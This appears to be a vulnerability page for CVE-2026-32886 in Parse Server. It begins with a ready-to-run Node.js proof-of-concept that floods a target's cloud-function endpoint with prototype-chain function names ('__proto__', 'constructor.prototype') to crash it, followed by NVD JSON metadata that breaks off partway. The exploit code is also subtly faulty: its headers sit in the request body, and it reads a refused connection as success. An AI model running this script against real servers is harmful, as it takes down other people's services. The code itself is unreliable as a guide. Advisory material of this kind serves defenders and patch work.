CVE-2026-32886

// CVE-2026-32886 PoC - Parse Server Prototype Chain Traversal Stack Overflow // Target: Parse Server < 9.6.0-alpha.24 or < 8.6.47 const axios = require('axios'); async function exploit(targetUrl, cloudFunctionName) { console.log(`[*] Targeting: ${targetUrl}`); console.log(`[*] Exploiting cloud function: ${cloudFunctionName}`); try { // Construct malicious cloud function call // Using prototype chain traversal to trigger stack overflow const response = await axios.post(`${targetUrl}/parse/functions/${cloudFunctionName}`, { params: {}, headers: { 'Content-Type': 'application/json', 'X-Parse-Application-Id': 'test-app-id', 'X-Parse-REST-API-Key': 'test-rest-api-key' }, timeout: 5000 }); console.log('[+] Response received:', response.status); } catch (error) { if (error.code === 'ECONNREFUSED') { console.log('[!] Connection refused - target may be down (exploit successful)'); } else if (error.response && error.response.status === 500) { console.log('[+] Server error 500 - possible exploit trigger'); } else if (error.code === 'ETIMEDOUT') { console.log('[!] Request timeout - server may be crashed'); } else { console.log('[*] Error:', error.message); } } } // Prototype chain traversal payloads const payloads = [ '__proto__', 'constructor.prototype', '__proto__.constructor.prototype', 'hasOwnProperty', 'valueOf.__proto__', 'toString.__proto__' ]; // Usage example const target = 'http://target-server:1337'; payloads.forEach(payload => { exploit(target, payload); });

{"cve": {"id": "CVE-2026-32886", "sourceIdentifier": "[email protected]", "published": "2026-03-18T22:16:25.663", "lastModified": "2026-03-19T17:21:45.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.24 and 8.6.47, remote clients can crash the Parse Server process by calling a cloud function endpoint with a crafted function name that traverses the JavaScript prototype chain of a registered cloud function handler, causing a stack overflow. The fix in versions 9.6.0-alpha.24 and 8.6.47 restricts property lookups during cloud function name resolution to own properties only, preventing prototype chain traversal from stored function handlers. There is no known workaround."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de las versiones 9.6.0-alpha.24 y 8.6.47, clientes remotos pueden bloquear el proceso de Parse Server al llamar a un endpoint de función en la nube con un nombre de función manipulado que atraviesa la cadena de prototipos de JavaScript de un gestor de función en la nube registrado, causando un desbordamiento de pila. La corrección en las versiones 9.6.0-alpha.24 y 8.6.47 restringe las búsquedas de propiedades durante la resolución de nombres de funciones en la nube solo a las propiedades propias, evitando el recorrido de la cadena de prototipos desde los gestores de funciones almacenados. No existe una solución alternativa conocida."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.47", "matchCriteriaId": "C700443A-5992-4B6E-B0E0-AE0145AAAA60"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B-44BC-9C3A-37378590EFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "418338C9-6AEC-492C-ACA4-9B3C0AAE149C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "808B6482-BF8E-407D-8462-E757657CC323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha12:*:*:*:node.js:*:*", "matchCriteriaId": "B84C28F8-AADE-41BB-A0EF-B701AB57DC3A"}, {"vulnerable" ... (truncated)